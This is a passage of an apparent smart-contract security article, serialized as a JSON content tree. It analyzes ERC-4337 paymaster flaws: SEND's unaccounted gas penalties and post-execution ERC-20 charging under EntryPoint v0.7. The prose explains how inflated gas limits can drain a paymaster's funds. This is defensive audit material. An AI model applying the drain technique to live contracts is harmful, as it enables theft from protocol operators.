SafeERC20.",{"type":23,"tag":141,"props":102674,"children":102675},{"style":184},[102676],{"type":29,"value":102677},"safeTransfer",{"type":23,"tag":141,"props":102679,"children":102680},{"style":154},[102681],{"type":29,"value":102682},"(token, userOpSender, preCharge ",{"type":23,"tag":141,"props":102684,"children":102685},{"style":160},[102686],{"type":29,"value":3004},{"type":23,"tag":141,"props":102688,"children":102689},{"style":154},[102690],{"type":29,"value":102691}," actualTokenNeeded);\n",{"type":23,"tag":141,"props":102693,"children":102694},{"class":143,"line":79449},[102695,102699,102703,102707,102711,102715],{"type":23,"tag":141,"props":102696,"children":102697},{"style":154},[102698],{"type":29,"value":69077},{"type":23,"tag":141,"props":102700,"children":102701},{"style":148},[102702],{"type":29,"value":1976},{"type":23,"tag":141,"props":102704,"children":102705},{"style":148},[102706],{"type":29,"value":14464},{"type":23,"tag":141,"props":102708,"children":102709},{"style":154},[102710],{"type":29,"value":102647},{"type":23,"tag":141,"props":102712,"children":102713},{"style":160},[102714],{"type":29,"value":4480},{"type":23,"tag":141,"props":102716,"children":102717},{"style":154},[102718],{"type":29,"value":102656},{"type":23,"tag":141,"props":102720,"children":102721},{"class":143,"line":79457},[102722],{"type":23,"tag":141,"props":102723,"children":102724},{"style":443},[102725],{"type":29,"value":102726}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":141,"props":102728,"children":102729},{"class":143,"line":79465},[102730],{"type":23,"tag":141,"props":102731,"children":102732},{"style":443},[102733],{"type":29,"value":102734}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":141,"props":102736,"children":102737},{"class":143,"line":79473},[102738,102742,102746,102751,102755,102759,102763,102768,102772],{"type":23,"tag":141,"props":102739,"children":102740},{"style":154},[102741],{"type":29,"value":102672},{"type":23,"tag":141,"props":102743,"children":102744},{"style":184},[102745],{"type":29,"value":102123},{"type":23,"tag":141,"props":102747,"children":102748},{"style":154},[102749],{"type":29,"value":102750},"(token, userOpSender, ",{"type":23,"tag":141,"props":102752,"children":102753},{"style":725},[102754],{"type":29,"value":31109},{"type":23,"tag":141,"props":102756,"children":102757},{"style":154},[102758],{"type":29,"value":192},{"type":23,"tag":141,"props":102760,"children":102761},{"style":449},[102762],{"type":29,"value":16370},{"type":23,"tag":141,"props":102764,"children":102765},{"style":154},[102766],{"type":29,"value":102767},"), actualTokenNeeded ",{"type":23,"tag":141,"props":102769,"children":102770},{"style":160},[102771],{"type":29,"value":3004},{"type":23,"tag":141,"props":102773,"children":102774},{"style":154},[102775],{"type":29,"value":102776}," preCharge);\n",{"type":23,"tag":141,"props":102778,"children":102779},{"class":143,"line":79513},[102780],{"type":23,"tag":141,"props":102781,"children":102782},{"style":154},[102783],{"type":29,"value":57365},{"type":23,"tag":141,"props":102785,"children":102786},{"class":143,"line":79521},[102787],{"type":23,"tag":141,"props":102788,"children":102789},{"emptyLinePlaceholder":15},[102790],{"type":29,"value":719},{"type":23,"tag":141,"props":102792,"children":102793},{"class":143,"line":86708},[102794,102798,102803,102807,102811],{"type":23,"tag":141,"props":102795,"children":102796},{"style":148},[102797],{"type":29,"value":57281},{"type":23,"tag":141,"props":102799,"children":102800},{"style":154},[102801],{"type":29,"value":102802}," (baseFee ",{"type":23,"tag":141,"props":102804,"children":102805},{"style":160},[102806],{"type":29,"value":9142},{"type":23,"tag":141,"props":102808,"children":102809},{"style":472},[102810],{"type":29,"value":1707},{"type":23,"tag":141,"props":102812,"children":102813},{"style":154},[102814],{"type":29,"value":13480},{"type":23,"tag":141,"props":102816,"children":102817},{"class":143,"line":86716},[102818,102822,102826],{"type":23,"tag":141,"props":102819,"children":102820},{"style":154},[102821],{"type":29,"value":102672},{"type":23,"tag":141,"props":102823,"children":102824},{"style":184},[102825],{"type":29,"value":102677},{"type":23,"tag":141,"props":102827,"children":102828},{"style":154},[102829],{"type":29,"value":102830},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":141,"props":102832,"children":102833},{"class":143,"line":100062},[102834],{"type":23,"tag":141,"props":102835,"children":102836},{"style":154},[102837],{"type":29,"value":57365},{"type":23,"tag":141,"props":102839,"children":102840},{"class":143,"line":100070},[102841],{"type":23,"tag":141,"props":102842,"children":102843},{"emptyLinePlaceholder":15},[102844],{"type":29,"value":719},{"type":23,"tag":141,"props":102846,"children":102847},{"class":143,"line":100078},[102848,102853,102858],{"type":23,"tag":141,"props":102849,"children":102850},{"style":148},[102851],{"type":29,"value":102852}," emit",{"type":23,"tag":141,"props":102854,"children":102855},{"style":184},[102856],{"type":29,"value":102857}," UserOperationSponsored",{"type":23,"tag":141,"props":102859,"children":102860},{"style":154},[102861],{"type":29,"value":102862},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":141,"props":102864,"children":102865},{"class":143,"line":100086},[102866,102871],{"type":23,"tag":141,"props":102867,"children":102868},{"style":184},[102869],{"type":29,"value":102870}," refillEntryPointDeposit",{"type":23,"tag":141,"props":102872,"children":102873},{"style":154},[102874],{"type":29,"value":102875},"(_cachedPrice);\n",{"type":23,"tag":141,"props":102877,"children":102878},{"class":143,"line":100114},[102879],{"type":23,"tag":141,"props":102880,"children":102881},{"style":154},[102882],{"type":29,"value":2008},{"type":23,"tag":141,"props":102884,"children":102886},{"class":143,"line":102885},67,[102887],{"type":23,"tag":141,"props":102888,"children":102889},{"style":154},[102890],{"type":29,"value":299},{"type":23,"tag":141,"props":102892,"children":102894},{"class":143,"line":102893},68,[102895],{"type":23,"tag":141,"props":102896,"children":102897},{"style":154},[102898],{"type":29,"value":2573},{"type":23,"tag":32,"props":102900,"children":102901},{},[102902,102904,102910,102912,102917,102919,102925],{"type":29,"value":102903},"Looking at the code above, during ",{"type":23,"tag":38,"props":102905,"children":102907},{"className":102906},[],[102908],{"type":29,"value":102909},"validatePaymasterUserOp",{"type":29,"value":102911},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":38,"props":102913,"children":102915},{"className":102914},[],[102916],{"type":29,"value":100968},{"type":29,"value":102918}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":38,"props":102920,"children":102922},{"className":102921},[],[102923],{"type":29,"value":102924},"postOp",{"type":29,"value":102926},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":32,"props":102928,"children":102929},{},[102930,102932,102937,102939,102946],{"type":29,"value":102931},"However, there is a critical oversight: ",{"type":23,"tag":3998,"props":102933,"children":102934},{},[102935],{"type":29,"value":102936},"the code does not account for gas penalties",{"type":29,"value":102938},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":55,"props":102940,"children":102943},{"href":102941,"rel":102942},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[59],[102944],{"type":29,"value":102945},"penalties incurred",{"type":29,"value":102947}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":32,"props":102949,"children":102950},{},[102951],{"type":29,"value":102952},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":32,"props":102954,"children":102955},{},[102956,102958,102963],{"type":29,"value":102957},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":38,"props":102959,"children":102961},{"className":102960},[],[102962],{"type":29,"value":100667},{"type":29,"value":102964}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":24,"props":102966,"children":102968},{"id":102967},"incorrect-erc-20-handling",[102969],{"type":23,"tag":3998,"props":102970,"children":102971},{},[102972],{"type":29,"value":102973},"Incorrect ERC-20 Handling",{"type":23,"tag":32,"props":102975,"children":102976},{},[102977],{"type":29,"value":102978},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":32,"props":102980,"children":102981},{},[102982,102983,102988,102990,102995],{"type":29,"value":43773},{"type":23,"tag":38,"props":102984,"children":102986},{"className":102985},[],[102987],{"type":29,"value":100748},{"type":29,"value":102989}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":38,"props":102991,"children":102993},{"className":102992},[],[102994],{"type":29,"value":100667},{"type":29,"value":102996},"'s lifecycle:",{"type":23,"tag":116,"props":102998,"children":102999},{},[103000,103010],{"type":23,"tag":120,"props":103001,"children":103002},{},[103003,103005],{"type":29,"value":103004},"During validation via ",{"type":23,"tag":38,"props":103006,"children":103008},{"className":103007},[],[103009],{"type":29,"value":100855},{"type":23,"tag":120,"props":103011,"children":103012},{},[103013,103015],{"type":29,"value":103014},"After execution via ",{"type":23,"tag":38,"props":103016,"children":103018},{"className":103017},[],[103019],{"type":29,"value":100866},{"type":23,"tag":32,"props":103021,"children":103022},{},[103023],{"type":29,"value":103024},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":8287,"props":103026,"children":103028},{"id":103027},"_1-pre-payment-with-refund-pattern",[103029],{"type":29,"value":103030},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":32,"props":103032,"children":103033},{},[103034,103036,103041,103043,103048,103050,103056,103057,103063,103065,103070,103072,103077,103079,103084],{"type":29,"value":103035},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":38,"props":103037,"children":103039},{"className":103038},[],[103040],{"type":29,"value":100855},{"type":29,"value":103042},". After execution completes, ",{"type":23,"tag":38,"props":103044,"children":103046},{"className":103045},[],[103047],{"type":29,"value":100866},{"type":29,"value":103049}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":38,"props":103051,"children":103053},{"className":103052},[],[103054],{"type":29,"value":103055},"SEND",{"type":29,"value":313},{"type":23,"tag":38,"props":103058,"children":103060},{"className":103059},[],[103061],{"type":29,"value":103062},"Circle",{"type":29,"value":103064}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":38,"props":103066,"children":103068},{"className":103067},[],[103069],{"type":29,"value":100696},{"type":29,"value":103071},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":3998,"props":103073,"children":103074},{},[103075],{"type":29,"value":103076},"before",{"type":29,"value":103078}," execution (specifically during ",{"type":23,"tag":38,"props":103080,"children":103082},{"className":103081},[],[103083],{"type":29,"value":102909},{"type":29,"value":19414},{"type":23,"tag":8287,"props":103086,"children":103088},{"id":103087},"_2-post-execution-charging-pattern",[103089],{"type":29,"value":103090},"2. Post-Execution Charging Pattern",{"type":23,"tag":32,"props":103092,"children":103093},{},[103094,103096,103101,103103,103108,103110,103115,103117,103122],{"type":29,"value":103095},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":38,"props":103097,"children":103099},{"className":103098},[],[103100],{"type":29,"value":100855},{"type":29,"value":103102},", the actual token payment is calculated and collected in ",{"type":23,"tag":38,"props":103104,"children":103106},{"className":103105},[],[103107],{"type":29,"value":100866},{"type":29,"value":103109}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":38,"props":103111,"children":103113},{"className":103112},[],[103114],{"type":29,"value":100667},{"type":29,"value":103116},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":38,"props":103118,"children":103120},{"className":103119},[],[103121],{"type":29,"value":100968},{"type":29,"value":103123},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":32,"props":103125,"children":103126},{},[103127,103129,103134,103136,103142,103144,103150,103152,103157],{"type":29,"value":103128},"This approach used to work in ",{"type":23,"tag":38,"props":103130,"children":103132},{"className":103131},[],[103133],{"type":29,"value":100748},{"type":29,"value":103135}," version ",{"type":23,"tag":38,"props":103137,"children":103139},{"className":103138},[],[103140],{"type":29,"value":103141},"v0.6",{"type":29,"value":103143},", but the pattern no longer works in ",{"type":23,"tag":38,"props":103145,"children":103147},{"className":103146},[],[103148],{"type":29,"value":103149},"v0.7",{"type":29,"value":103151},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":38,"props":103153,"children":103155},{"className":103154},[],[103156],{"type":29,"value":103149},{"type":29,"value":103158}," handles the execution phase:",{"type":23,"tag":131,"props":103160,"children":103162},{"className":432,"code":103161,"language":17,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[103163],{"type":23,"tag":38,"props":103164,"children":103165},{"__ignoreMap":7},[103166,103182,103198,103218,103235,103242,103255,103279,103287,103300,103307,103314,103335,103374,103411,103423,103430,103466,103473,103494,103583,103612,103619,103632,103639,103659,103666,103687,103695,103703,103730,103758,103766,103809,103829,103842,103864,103880,103895,103902,103922,103930,103938,103946,103954,103962,103969,103976],{"type":23,"tag":141,"props":103167,"children":103168},{"class":143,"line":144},[103169,103173,103178],{"type":23,"tag":141,"props":103170,"children":103171},{"style":449},[103172],{"type":29,"value":88316},{"type":23,"tag":141,"props":103174,"children":103175},{"style":184},[103176],{"type":29,"value":103177}," _executeUserOp",{"type":23,"tag":141,"props":103179,"children":103180},{"style":154},[103181],{"type":29,"value":2123},{"type":23,"tag":141,"props":103183,"children":103184},{"class":143,"line":180},[103185,103189,103194],{"type":23,"tag":141,"props":103186,"children":103187},{"style":725},[103188],{"type":29,"value":88494},{"type":23,"tag":141,"props":103190,"children":103191},{"style":750},[103192],{"type":29,"value":103193}," opIndex",{"type":23,"tag":141,"props":103195,"children":103196},{"style":154},[103197],{"type":29,"value":2168},{"type":23,"tag":141,"props":103199,"children":103200},{"class":143,"line":205},[103201,103206,103210,103214],{"type":23,"tag":141,"props":103202,"children":103203},{"style":449},[103204],{"type":29,"value":103205}," PackedUserOperation",{"type":23,"tag":141,"props":103207,"children":103208},{"style":449},[103209],{"type":29,"value":101497},{"type":23,"tag":141,"props":103211,"children":103212},{"style":750},[103213],{"type":29,"value":101502},{"type":23,"tag":141,"props":103215,"children":103216},{"style":154},[103217],{"type":29,"value":2168},{"type":23,"tag":141,"props":103219,"children":103220},{"class":143,"line":218},[103221,103226,103230],{"type":23,"tag":141,"props":103222,"children":103223},{"style":449},[103224],{"type":29,"value":103225}," UserOpInfo",{"type":23,"tag":141,"props":103227,"children":103228},{"style":449},[103229],{"type":29,"value":101565},{"type":23,"tag":141,"props":103231,"children":103232},{"style":750},[103233],{"type":29,"value":103234}," opInfo\n",{"type":23,"tag":141,"props":103236,"children":103237},{"class":143,"line":227},[103238],{"type":23,"tag":141,"props":103239,"children":103240},{"style":154},[103241],{"type":29,"value":22602},{"type":23,"tag":141,"props":103243,"children":103244},{"class":143,"line":241},[103245,103250],{"type":23,"tag":141,"props":103246,"children":103247},{"style":449},[103248],{"type":29,"value":103249}," internal",{"type":23,"tag":141,"props":103251,"children":103252},{"style":449},[103253],{"type":29,"value":103254}," virtual\n",{"type":23,"tag":141,"props":103256,"children":103257},{"class":143,"line":262},[103258,103262,103266,103270,103275],{"type":23,"tag":141,"props":103259,"children":103260},{"style":148},[103261],{"type":29,"value":44986},{"type":23,"tag":141,"props":103263,"children":103264},{"style":154},[103265],{"type":29,"value":1220},{"type":23,"tag":141,"props":103267,"children":103268},{"style":725},[103269],{"type":29,"value":44645},{"type":23,"tag":141,"props":103271,"children":103272},{"style":750},[103273],{"type":29,"value":103274}," collected",{"type":23,"tag":141,"props":103276,"children":103277},{"style":154},[103278],{"type":29,"value":13480},{"type":23,"tag":141,"props":103280,"children":103281},{"class":143,"line":271},[103282],{"type":23,"tag":141,"props":103283,"children":103284},{"style":154},[103285],{"type":29,"value":103286}," [...]\n",{"type":23,"tag":141,"props":103288,"children":103289},{"class":143,"line":293},[103290,103295],{"type":23,"tag":141,"props":103291,"children":103292},{"style":725},[103293],{"type":29,"value":103294}," bool",{"type":23,"tag":141,"props":103296,"children":103297},{"style":154},[103298],{"type":29,"value":103299}," success;\n",{"type":23,"tag":141,"props":103301,"children":103302},{"class":143,"line":801},[103303],{"type":23,"tag":141,"props":103304,"children":103305},{"style":154},[103306],{"type":29,"value":30127},{"type":23,"tag":141,"props":103308,"children":103309},{"class":143,"line":810},[103310],{"type":23,"tag":141,"props":103311,"children":103312},{"style":154},[103313],{"type":29,"value":103286},{"type":23,"tag":141,"props":103315,"children":103316},{"class":143,"line":824},[103317,103321,103326,103330],{"type":23,"tag":141,"props":103318,"children":103319},{"style":148},[103320],{"type":29,"value":57281},{"type":23,"tag":141,"props":103322,"children":103323},{"style":154},[103324],{"type":29,"value":103325}," (methodSig ",{"type":23,"tag":141,"props":103327,"children":103328},{"style":160},[103329],{"type":29,"value":7251},{"type":23,"tag":141,"props":103331,"children":103332},{"style":154},[103333],{"type":29,"value":103334}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":141,"props":103336,"children":103337},{"class":143,"line":839},[103338,103343,103347,103352,103356,103360,103364,103369],{"type":23,"tag":141,"props":103339,"children":103340},{"style":725},[103341],{"type":29,"value":103342}," bytes",{"type":23,"tag":141,"props":103344,"children":103345},{"style":449},[103346],{"type":29,"value":101565},{"type":23,"tag":141,"props":103348,"children":103349},{"style":154},[103350],{"type":29,"value":103351}," executeUserOp ",{"type":23,"tag":141,"props":103353,"children":103354},{"style":160},[103355],{"type":29,"value":1377},{"type":23,"tag":141,"props":103357,"children":103358},{"style":449},[103359],{"type":29,"value":102162},{"type":23,"tag":141,"props":103361,"children":103362},{"style":154},[103363],{"type":29,"value":322},{"type":23,"tag":141,"props":103365,"children":103366},{"style":184},[103367],{"type":29,"value":103368},"encodeCall",{"type":23,"tag":141,"props":103370,"children":103371},{"style":154},[103372],{"type":29,"value":103373},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":141,"props":103375,"children":103376},{"class":143,"line":848},[103377,103382,103386,103390,103394,103398,103402,103406],{"type":23,"tag":141,"props":103378,"children":103379},{"style":154},[103380],{"type":29,"value":103381}," innerCall ",{"type":23,"tag":141,"props":103383,"children":103384},{"style":160},[103385],{"type":29,"value":1377},{"type":23,"tag":141,"props":103387,"children":103388},{"style":449},[103389],{"type":29,"value":102162},{"type":23,"tag":141,"props":103391,"children":103392},{"style":154},[103393],{"type":29,"value":322},{"type":23,"tag":141,"props":103395,"children":103396},{"style":184},[103397],{"type":29,"value":103368},{"type":23,"tag":141,"props":103399,"children":103400},{"style":154},[103401],{"type":29,"value":192},{"type":23,"tag":141,"props":103403,"children":103404},{"style":449},[103405],{"type":29,"value":16370},{"type":23,"tag":141,"props":103407,"children":103408},{"style":154},[103409],{"type":29,"value":103410},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":141,"props":103412,"children":103413},{"class":143,"line":2304},[103414,103418],{"type":23,"tag":141,"props":103415,"children":103416},{"style":154},[103417],{"type":29,"value":69077},{"type":23,"tag":141,"props":103419,"children":103420},{"style":148},[103421],{"type":29,"value":103422},"else\n",{"type":23,"tag":141,"props":103424,"children":103425},{"class":143,"line":2313},[103426],{"type":23,"tag":141,"props":103427,"children":103428},{"style":154},[103429],{"type":29,"value":30163},{"type":23,"tag":141,"props":103431,"children":103432},{"class":143,"line":2335},[103433,103437,103441,103445,103449,103453,103457,103461],{"type":23,"tag":141,"props":103434,"children":103435},{"style":154},[103436],{"type":29,"value":103381},{"type":23,"tag":141,"props":103438,"children":103439},{"style":160},[103440],{"type":29,"value":1377},{"type":23,"tag":141,"props":103442,"children":103443},{"style":449},[103444],{"type":29,"value":102162},{"type":23,"tag":141,"props":103446,"children":103447},{"style":154},[103448],{"type":29,"value":322},{"type":23,"tag":141,"props":103450,"children":103451},{"style":184},[103452],{"type":29,"value":103368},{"type":23,"tag":141,"props":103454,"children":103455},{"style":154},[103456],{"type":29,"value":192},{"type":23,"tag":141,"props":103458,"children":103459},{"style":449},[103460],{"type":29,"value":16370},{"type":23,"tag":141,"props":103462,"children":103463},{"style":154},[103464],{"type":29,"value":103465},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":141,"props":103467,"children":103468},{"class":143,"line":2343},[103469],{"type":23,"tag":141,"props":103470,"children":103471},{"style":154},[103472],{"type":29,"value":57365},{"type":23,"tag":141,"props":103474,"children":103475},{"class":143,"line":2352},[103476,103481,103485,103490],{"type":23,"tag":141,"props":103477,"children":103478},{"style":184},[103479],{"type":29,"value":103480}," assembly",{"type":23,"tag":141,"props":103482,"children":103483},{"style":154},[103484],{"type":29,"value":1220},{"type":23,"tag":141,"props":103486,"children":103487},{"style":828},[103488],{"type":29,"value":103489},"\"memory-safe\"",{"type":23,"tag":141,"props":103491,"children":103492},{"style":154},[103493],{"type":29,"value":13480},{"type":23,"tag":141,"props":103495,"children":103496},{"class":143,"line":2421},[103497,103502,103506,103510,103514,103519,103523,103527,103531,103535,103539,103543,103548,103553,103557,103562,103567,103571,103575,103579],{"type":23,"tag":141,"props":103498,"children":103499},{"style":154},[103500],{"type":29,"value":103501}," success ",{"type":23,"tag":141,"props":103503,"children":103504},{"style":160},[103505],{"type":29,"value":20279},{"type":23,"tag":141,"props":103507,"children":103508},{"style":184},[103509],{"type":29,"value":39435},{"type":23,"tag":141,"props":103511,"children":103512},{"style":154},[103513],{"type":29,"value":192},{"type":23,"tag":141,"props":103515,"children":103516},{"style":184},[103517],{"type":29,"value":103518},"gas",{"type":23,"tag":141,"props":103520,"children":103521},{"style":154},[103522],{"type":29,"value":17053},{"type":23,"tag":141,"props":103524,"children":103525},{"style":725},[103526],{"type":29,"value":31109},{"type":23,"tag":141,"props":103528,"children":103529},{"style":154},[103530],{"type":29,"value":17053},{"type":23,"tag":141,"props":103532,"children":103533},{"style":472},[103534],{"type":29,"value":2698},{"type":23,"tag":141,"props":103536,"children":103537},{"style":154},[103538],{"type":29,"value":480},{"type":23,"tag":141,"props":103540,"children":103541},{"style":184},[103542],{"type":29,"value":8317},{"type":23,"tag":141,"props":103544,"children":103545},{"style":154},[103546],{"type":29,"value":103547},"(innerCall, ",{"type":23,"tag":141,"props":103549,"children":103550},{"style":472},[103551],{"type":29,"value":103552},"0x20",{"type":23,"tag":141,"props":103554,"children":103555},{"style":154},[103556],{"type":29,"value":13854},{"type":23,"tag":141,"props":103558,"children":103559},{"style":184},[103560],{"type":29,"value":103561},"mload",{"type":23,"tag":141,"props":103563,"children":103564},{"style":154},[103565],{"type":29,"value":103566},"(innerCall), ",{"type":23,"tag":141,"props":103568,"children":103569},{"style":472},[103570],{"type":29,"value":2698},{"type":23,"tag":141,"props":103572,"children":103573},{"style":154},[103574],{"type":29,"value":480},{"type":23,"tag":141,"props":103576,"children":103577},{"style":472},[103578],{"type":29,"value":58827},{"type":23,"tag":141,"props":103580,"children":103581},{"style":154},[103582],{"type":29,"value":758},{"type":23,"tag":141,"props":103584,"children":103585},{"class":143,"line":2429},[103586,103591,103595,103600,103604,103608],{"type":23,"tag":141,"props":103587,"children":103588},{"style":154},[103589],{"type":29,"value":103590}," collected ",{"type":23,"tag":141,"props":103592,"children":103593},{"style":160},[103594],{"type":29,"value":20279},{"type":23,"tag":141,"props":103596,"children":103597},{"style":184},[103598],{"type":29,"value":103599}," mload",{"type":23,"tag":141,"props":103601,"children":103602},{"style":154},[103603],{"type":29,"value":192},{"type":23,"tag":141,"props":103605,"children":103606},{"style":472},[103607],{"type":29,"value":2698},{"type":23,"tag":141,"props":103609,"children":103610},{"style":154},[103611],{"type":29,"value":758},{"type":23,"tag":141,"props":103613,"children":103614},{"class":143,"line":2459},[103615],{"type":23,"tag":141,"props":103616,"children":103617},{"style":154},[103618],{"type":29,"value":57365},{"type":23,"tag":141,"props":103620,"children":103621},{"class":143,"line":2467},[103622,103627],{"type":23,"tag":141,"props":103623,"children":103624},{"style":184},[103625],{"type":29,"value":103626}," _restoreFreePtr",{"type":23,"tag":141,"props":103628,"children":103629},{"style":154},[103630],{"type":29,"value":103631},"(saveFreePtr);\n",{"type":23,"tag":141,"props":103633,"children":103634},{"class":143,"line":2499},[103635],{"type":23,"tag":141,"props":103636,"children":103637},{"style":154},[103638],{"type":29,"value":2008},{"type":23,"tag":141,"props":103640,"children":103641},{"class":143,"line":2507},[103642,103646,103650,103654],{"type":23,"tag":141,"props":103643,"children":103644},{"style":148},[103645],{"type":29,"value":233},{"type":23,"tag":141,"props":103647,"children":103648},{"style":154},[103649],{"type":29,"value":1220},{"type":23,"tag":141,"props":103651,"children":103652},{"style":160},[103653],{"type":29,"value":19293},{"type":23,"tag":141,"props":103655,"children":103656},{"style":154},[103657],{"type":29,"value":103658},"success) {\n",{"type":23,"tag":141,"props":103660,"children":103661},{"class":143,"line":2567},[103662],{"type":23,"tag":141,"props":103663,"children":103664},{"style":154},[103665],{"type":29,"value":103286},{"type":23,"tag":141,"props":103667,"children":103668},{"class":143,"line":7724},[103669,103673,103678,103682],{"type":23,"tag":141,"props":103670,"children":103671},{"style":148},[103672],{"type":29,"value":57281},{"type":23,"tag":141,"props":103674,"children":103675},{"style":154},[103676],{"type":29,"value":103677}," (innerRevertCode ",{"type":23,"tag":141,"props":103679,"children":103680},{"style":160},[103681],{"type":29,"value":7251},{"type":23,"tag":141,"props":103683,"children":103684},{"style":154},[103685],{"type":29,"value":103686}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":141,"props":103688,"children":103689},{"class":143,"line":7742},[103690],{"type":23,"tag":141,"props":103691,"children":103692},{"style":443},[103693],{"type":29,"value":103694}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":141,"props":103696,"children":103697},{"class":143,"line":7787},[103698],{"type":23,"tag":141,"props":103699,"children":103700},{"style":443},[103701],{"type":29,"value":103702}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":141,"props":103704,"children":103705},{"class":143,"line":7893},[103706,103711,103716,103721,103726],{"type":23,"tag":141,"props":103707,"children":103708},{"style":148},[103709],{"type":29,"value":103710}," revert",{"type":23,"tag":141,"props":103712,"children":103713},{"style":184},[103714],{"type":29,"value":103715}," FailedOp",{"type":23,"tag":141,"props":103717,"children":103718},{"style":154},[103719],{"type":29,"value":103720},"(opIndex, ",{"type":23,"tag":141,"props":103722,"children":103723},{"style":828},[103724],{"type":29,"value":103725},"\"AA95 out of gas\"",{"type":23,"tag":141,"props":103727,"children":103728},{"style":154},[103729],{"type":29,"value":2496},{"type":23,"tag":141,"props":103731,"children":103732},{"class":143,"line":22181},[103733,103737,103741,103745,103749,103753],{"type":23,"tag":141,"props":103734,"children":103735},{"style":154},[103736],{"type":29,"value":69077},{"type":23,"tag":141,"props":103738,"children":103739},{"style":148},[103740],{"type":29,"value":1976},{"type":23,"tag":141,"props":103742,"children":103743},{"style":148},[103744],{"type":29,"value":14464},{"type":23,"tag":141,"props":103746,"children":103747},{"style":154},[103748],{"type":29,"value":103677},{"type":23,"tag":141,"props":103750,"children":103751},{"style":160},[103752],{"type":29,"value":7251},{"type":23,"tag":141,"props":103754,"children":103755},{"style":154},[103756],{"type":29,"value":103757}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":141,"props":103759,"children":103760},{"class":143,"line":22216},[103761],{"type":23,"tag":141,"props":103762,"children":103763},{"style":443},[103764],{"type":29,"value":103765}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":141,"props":103767,"children":103768},{"class":143,"line":22224},[103769,103773,103778,103782,103787,103791,103796,103800,103804],{"type":23,"tag":141,"props":103770,"children":103771},{"style":725},[103772],{"type":29,"value":101945},{"type":23,"tag":141,"props":103774,"children":103775},{"style":154},[103776],{"type":29,"value":103777}," actualGas 